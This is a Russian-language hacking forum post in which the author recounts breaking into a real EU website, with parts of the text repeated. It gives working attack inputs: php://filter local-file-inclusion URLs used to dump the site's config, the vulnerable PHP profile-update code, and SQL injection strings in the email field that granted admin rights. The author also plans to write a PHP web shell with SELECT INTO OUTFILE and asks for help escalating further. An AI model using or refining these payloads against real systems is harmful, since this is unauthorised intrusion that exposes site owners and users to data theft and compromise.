Набрёл я на один несчастный сайт в EU, нашёл там явный LFI:
Ну и как все уже наверное поняли расширение ".php" в include они всегда приделывают и "порвать" это например %00 у меня не получилось.
Иначе бы ../../../../../../etc/shadow или типа того заинклюдил.
Ну и конечно же очень скоро у меня даже оказался их конфиг в base64 (ну и расшифровать ноу проблем), вот так:
и потом (интересно кого они хотели наебать так "прятая" конфиг по детски?
) вот так:
Но вот "беда" - MySQL там наружу не торчит ("прибит гвоздями" к localhost), а значит логин и пароль от БД мне увы бесполезны :-(
Не беда, подумал я, и заюзав guerrillamail.com зарегался у них.
Потом нашёл страничку апдейта профиля юзера и стал полным там админом каким только можно - "никаким" честно говоря, тухлая там админка.
Но сама страничку апдейта профиля довольно презабавная, вот её код:
И захотелось мне ещё что-то делать кроме этого UPDATE, да вот беда - запрос на несколько строчек и закомментить его с помощью MySQL'ных # или -- или /**/ не получается.
А если вставлять ещё что-то, то закрывающая кавычка от email='$email' повисает посерёдке запроса.
Вообще хотелось что-то типа SELECT 'php шеллкод тут' INTO OUTFILE './path/to/shell.php' туда вхерачить соединив UPDATE через ";" с полезным мне запросом.
Хотелось бы почитать советы бывалых как дальше там продвинуться в этом квесте.
UPD:
В общем оказалось я не совсем ещё отупел
и вспомнил про UPDATE поля из SELECT , ну типа передаю в поле email:
или даже можно c комментом в виде # он в отличие от -- работает в коде до конца строки, а WHERE уже берётся тот что есть.
ну и получаю firstname равным текущей дате и времени 
Код:
http://www.site.eu/index.php?page=members/../index
Ну и как все уже наверное поняли расширение ".php" в include они всегда приделывают и "порвать" это например %00 у меня не получилось.
Иначе бы ../../../../../../etc/shadow или типа того заинклюдил.
Ну и конечно же очень скоро у меня даже оказался их конфиг в base64 (ну и расшифровать ноу проблем), вот так:
Код:
http://www.site.eu/index.php?page=PHP://filter/convert.base64-encode/resource=members/../index
) вот так:
Код:
http://www.site.eu/index.php?page=PHP://filter/convert.base64-encode/resource=members/../config_hjfhd76ds9HDGe78
Но вот "беда" - MySQL там наружу не торчит ("прибит гвоздями" к localhost), а значит логин и пароль от БД мне увы бесполезны :-(
Не беда, подумал я, и заюзав guerrillamail.com зарегался у них.
Потом нашёл страничку апдейта профиля юзера и стал полным там админом каким только можно - "никаким" честно говоря, тухлая там админка.
Но сама страничку апдейта профиля довольно презабавная, вот её код:
PHP:
<?php
// Reset member password (only valid after ID was created)
include("config_hjfhd76ds9HDGe78.php"); // directory of index.php
$cob = @mysql_connect(SERVER,NAME,PASS) or die(mysql_error());
if (!$cob) { echo 'No connection to server possible, please retry later. <br>'; }
$cos = @mysql_select_db(BASE,$cob);
if (!$cos) { echo 'Error: No database was found. <br>'; }
echo "<h3>Update profile</h3>";
$id= $_SESSION['id'];
if (isset($_POST['btnupdate'])){
$firstname = htmlentities($_POST['firstname']);
$lastname = htmlentities($_POST['lastname']);
$organisation = htmlentities($_POST['organisation']);
$address = htmlentities($_POST['address']);
$email = htmlentities($_POST['email']);
$query2 = mysql_query("UPDATE IDS
SET
lastname = '$lastname',
firstname = '$firstname',
organisation = '$organisation',
address = '$address',
email = '$email' // вот сюда я заинжектился добавил: "admin=1, firstname='Smith" в поле ввода тут закрывающая кавычка помогла
WHERE id='$id' ") or die(mysql_error());
if ( $query2 ) {
echo "<h4>>>> Update was successful <<<</h4>";
} else {
echo "<h4>Error, please contact ".$_SESSION['web_admin'].". </h4>";
}
}
?>
<form name="update-account" action="index.php?page=members/internal&intaction=accountupdate" method="post">
<?php $query = mysql_query("SELECT * FROM IDS where id='$id'") ;
while ( $row = mysql_fetch_array($query)) {
?>
<label>First name</label><br>
<input type="text" name="firstname" class="adjustable-input" value="<?php echo $row['firstname']; ?>" /><br><br>
<label>Last name</label><br>
<input type="text" name="lastname" class="adjustable-input" value="<?php echo $row['lastname']; ?>" /><br><br>
<label>Organisation</label><br>
<textarea type="text" name="organisation" class="adjustable-input" rows="4" ><?php echo $row['organisation']; ?></textarea><br><br>
<label>Address</label><br>
<textarea type="text" name="address" class="adjustable-input" rows="4" ><?php echo $row['address']; ?></textarea><br><br>
<label>Email address</label><br>
<input type="text" name="email" class="adjustable-input" value="<?php echo $row['email']; ?>" /><br><br>
<?php
}
?>
<input type="submit" name="btnupdate" value="update" />
</form><br><br>
И захотелось мне ещё что-то делать кроме этого UPDATE, да вот беда - запрос на несколько строчек и закомментить его с помощью MySQL'ных # или -- или /**/ не получается.
А если вставлять ещё что-то, то закрывающая кавычка от email='$email' повисает посерёдке запроса.
Вообще хотелось что-то типа SELECT 'php шеллкод тут' INTO OUTFILE './path/to/shell.php' туда вхерачить соединив UPDATE через ";" с полезным мне запросом.
Хотелось бы почитать советы бывалых как дальше там продвинуться в этом квесте.
UPD:
В общем оказалось я не совсем ещё отупел
Код:
some@email.com' , firstname=( SELECT now() ), lastname='Smith
Код:
some@email.com' , firstname=( SELECT now() ), lastname='Smith' #
Последнее редактирование: